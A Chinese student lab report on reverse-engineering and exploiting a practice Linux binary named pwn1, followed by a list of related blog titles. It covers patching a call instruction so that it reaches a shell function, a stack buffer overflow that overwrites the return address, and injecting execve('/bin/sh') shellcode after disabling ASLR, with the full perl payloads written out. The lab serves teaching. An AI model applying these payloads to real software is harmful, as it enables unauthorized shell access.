2018-2019-2 网络对抗技术 20165332 Exp1 PC平台逆向破解

NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

JNE汇编指令:条件转移指令,如果不相等则跳转。

JE汇编指令:如果条件相等则跳转。

JMP汇编指令:直接跳转到所需跳转的位置。

CMP汇编指令:减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

任务一、直接修改程序机器指令,改变程序执行流程

1、首先将pwn1文件通过共享文件夹传入虚拟机当中,通过chmod +x pwn1指令加权限,然后objdump -d pwn1,反汇编pwn1文件。





2、反汇编结束后发现:main函数里面有一步call 8048491,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

通过进一步的分析:08048491是0804847d是我们的跳转目标。

  • vi pwn1进入命令模式
  • 输入:%!xxd将显示模式切换为十六进制
  • 在底行模式输入/e8 d7定位需要修改的地方,并确认
  • 进入插入模式,修改d7为c3
  • 输入:%!xxd -r将十六进制转换为原格式
  • 使用:wq保存并退出



    通过上述步骤看见我的main函数里面已经修改为e8 c3 ff ff ff

4、执行./pwn1文件可以成功获取shell:



完成第一个实验。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1、

使用gdb命令,file pwn1载入pwn1文件,输入gdb pwn1。

输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串。

输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890



2、

此时eip寄存器中的值为0x30393837,eip寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。

我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。

使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

然后将input的输入,通过管道符“|”,作为pwn1的输入。攻击成功以后出现的截图:



完成第二个实验。

三、注入Shellcode并执行

shellcode就是一段机器指令(code)

通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

首先使用apt-get install execstack命令安装execstack。

修改以下内容:

  • 设置堆栈可执行execstack -s pwn1
  • 查询文件的堆栈是否可执行 execstack -q pwn1
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
  • 查询地址随机化是否关闭(0代表关闭,2代表开启)more /proc/sys/kernel/randomize_va_space

用perl语言输入代码

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

确定返回地址的值

将写好的代码通过管道方式输入给程序pwn1中的foo函数进行覆盖

(cat input_shellcode;cat) | ./pwn1

打开另外一个终端,用gdb来调试pwn1这个进程

ps -ef | grep pwn1确定pwn1的进程号

启动gdb调试这个程序 gdb attach 1964

  • 设置断点来查看注入buf的内存地址disassemble foo
  • ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
  • break *0x080484ae设置断点
  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
  • 再在gdb调试的终端输入 c 继续运行程序
  • 通过info r esp查看esp寄存器的地址



    可以看到0x01020304所在的地址为0xffffd22c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即

0xffffd22c + 0x00000004 = 0xffffd230

退出gdp调试。

输入

perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

执行程序,攻击成功

2018-2019-2 网络对抗技术 20165332 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. HDU 5618 Jam's problem again(三维偏序,CDQ分治,树状数组,线段树)

    Jam's problem again Time Limit: 5000/2500 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Othe ...

  2. ubuntu16.04下安装opencv-3.1.0及其扩展模块opencv_contrib

    步骤1.安装依赖项 sudo apt--dev pkg-config libavcodec-dev libavformat-dev libswscale-dev 可选的 sudo apt--dev l ...

  3. webrtc--stun-turn

    .WebRTC后台服务: 通话的房间服务器(Room Server) 房间服务器是用来创建和管理通话会话的状态维护,是双方通话还是多方通话,加入与离开房间等等,我们暂时沿用Google部署在GAE平台 ...

  4. python中的接口和依赖注入

    首先,我们必须明确的一点是:python里无接口类型,定义接口只是一个人为规定,在编程过程自我约束 python的类是可以写任意个方法的 定义一个接口对继承类进行约束,接口里有什么方法,继承类就必须有 ...

  5. Delphi下使用指针的简单总结(指针的赋值,数组和指针的转换,函数指针的使用)

    由于最近公司太忙,好久没有更新我的BLOG了.原来想着写写关于HOOK驱动的文章,可是最后想想好久已经没有做驱动的东西了,怕写出来有错误,于是作罢.开发游戏也有一段时间了,发现使用DELPHI来开发网 ...

  6. 【我的Android进阶之旅】解决Android Studio 运行gradle命令时报错: 错误: 编码GBK的不可映射字符

    1.问题描述 最近在负责公司基础业务和移动基础设施的开发工作,正在负责Lint代码静态检查工作.因此编写了自定义的Lint规则,在调试过程中,编译的时候出现了如下所示的错误: 部分输出日志如下所示: ...

  7. 省市县三级联动的SQL

    完整版见https://jadyer.github.io/ 首先是建表语句 CREATE TABLE `t_address_province` ( `id` INT AUTO_INCREMENT PR ...

  8. appfog 添加数据库支持

    1.PhpMyAdmin与app 在同一应用 1.cd进入应用所在的文件夹,输入 git clone git://github.com/appfog/af-php-myadmin.git 2.进入本地 ...

  9. cocos2d动作

    1.动作的基类是CCAction,通过继承它可以实现很多不同的动作,主要分为三大类: (1)CCFiniteTimeAction(有限次动作执行类) (2)CCSpeed(节点执行速度类) (3)CC ...

  10. Linux java Tomcat 项目中 new Date 获取时间 8小时 时差

    转载自: https://blog.csdn.net/liqinghuiyx/article/details/53333284 起因:在本地开发的WEB项目部署到Linux 下后,存入数据库的时间少了 ...